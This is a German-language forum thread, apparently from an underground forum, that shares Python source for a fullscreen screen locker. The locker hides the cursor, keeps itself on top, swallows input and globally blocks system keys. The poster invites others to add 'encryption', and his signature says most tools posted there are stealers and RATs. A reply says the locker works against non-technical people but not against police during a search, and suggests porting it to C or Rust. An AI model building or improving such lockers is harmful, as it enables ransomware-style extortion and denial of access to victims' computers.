Jump to content

[SOURCE CODE] Screenblocker in Python


  • Reply to this topic
  • Start new topic

Recommended Posts

i tried to write a screenblocker in python for multiple purposes, couldn't manage to block ctrl alt del.
everything else is blocked, no way out of it :D currently it's mildly annoying, you can add sounds,
encryption or whatever you want.
It closes itself after 10 seconds, just edit the 'if AUTO_CLOSE_MS > 0:' line close at the end.

import sys
import ctypes
import time
from tkinter import Tk, Label
from PIL import Image, ImageTk
import keyboard

IMAGE_PATH = "keped.png"    
SAFE_EXIT_KEY = "<Escape>"      
AUTO_CLOSE_MS = 10000            
HIDE_CURSOR = True              

user32 = ctypes.windll.user32 if sys.platform == "win32" else None

def enforce_foreground(window_id):
    if user32:

        try:
            user32.SetForegroundWindow(window_id)
            user32.BringWindowToTop(window_id)
        except Exception:
            pass

def hide_cursor():
    if user32:

        user32.ShowCursor(False)

def show_cursor():
    if user32:
        user32.ShowCursor(True)

root = Tk()
root.configure(bg="black")

root.attributes("-fullscreen", True)      
root.overrideredirect(True)              
root.lift()
root.attributes("-topmost", True)          

img = Image.open(IMAGE_PATH)
sw, sh = root.winfo_screenwidth(), root.winfo_screenheight()
img = img.resize((sw, sh), Image.LANCZOS)
photo = ImageTk.PhotoImage(img)

label = Label(root, image=photo, bg="black")
label.pack(fill="both", expand=True)

def keep_on_top():
    try:
        root.lift()
        root.focus_force()

        if user32:
            hwnd = ctypes.windll.user32.GetForegroundWindow()

            enforce_foreground(root.winfo_id())
    except Exception:
        pass
    root.after(1, keep_on_top)  

def ignore_event(event=None):

    print("nice try fam")

if keyboard.is_pressed('ctrl'):
    keyboard.press('win')
    print("win")
if keyboard.is_pressed('win'):
    print("winwin")

root.bind_all("<Key>", lambda e: ignore_event(e))
root.bind_all("<KeyPress>", lambda e: ignore_event(e))
root.bind_all("<Button>", lambda e: ignore_event(e))
root.bind_all("<ButtonPress>", lambda e: ignore_event(e))
root.bind_all("<Motion>", lambda e: ignore_event(e))
root.bind_all("<Enter>", lambda e: ignore_event(e))

root.bind_all("<Alt-F4>", lambda e: ignore_event(e))
root.bind_all("<Control-Alt-Delete>", lambda e: ignore_event(e))
keyboard.block_key('Win')
keyboard.block_key('right windows')
keyboard.block_key('left ctrl')
keyboard.block_key('right ctrl')
keyboard.block_key('alt')
keyboard.block_key('shift')
keyboard.block_key('del')
keyboard.block_key('esc')
root.bind_all("<Alt_L>", lambda e: ignore_event(e))
root.bind_all("<Alt_R>", lambda e: ignore_event(e))

root.protocol("WM_DELETE_WINDOW", lambda: ignore_event())

root.bind(SAFE_EXIT_KEY, lambda e: root.destroy())

if HIDE_CURSOR:
    try:
        hide_cursor()
    except Exception:
        pass

if AUTO_CLOSE_MS > 0:
    root.after(AUTO_CLOSE_MS, lambda: root.destroy())

root.after(100, keep_on_top)

try:
    root.mainloop()
finally:

    if HIDE_CURSOR:
        try:
            pass
        except Exception:
            pass

*******************************************************************************************************
Grundsätzlich gilt:
Virusscan und VM ist euer Freund.
Da die meisten geuppten Tools Stealer, Rats, Bots etc. sind wird fast jedes AV eine Warnmeldung abgeben.
„Klingt komisch, ist aber so"
Das ist bei diesen Programmen normal, macht die Sache aber für Anfänger nicht besser!
Darum immer eine VM (https://www.heise.de/download/product/virtualbox-40385) nutzen.

Btw:
Die Tools sind nicht von mir!
Wie sagt man so schön:
Das ist alles nur geklaut und gestohlen, nur gezogen und geraubt. 
Entschuldigung, das hab ich mir erlaubt.

Narco neu111.png

 

Danke für den Code.

 

Wichtiger Hinweis, da Python nicht in weitere Layer gehen kann ist es nicht möglich einige Buttons wie Beispielsweise angegeben zu deaktivieren:

4 minutes ago, Narco said:

ctrl alt del.

 

Daher wird es nix gegen Behörden bei einer HD bringen. 

Im persönlichen Umfeld kann das sicher was bringen. (bei durchschnittlichen Menschen die nix über IT wissen)

 

Sollte man den Code ausbauen wollen müsste man die Programmiersprache wechseln. 

 

Rust/C/C++ etc... 

 

 

Weiter so ! 

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...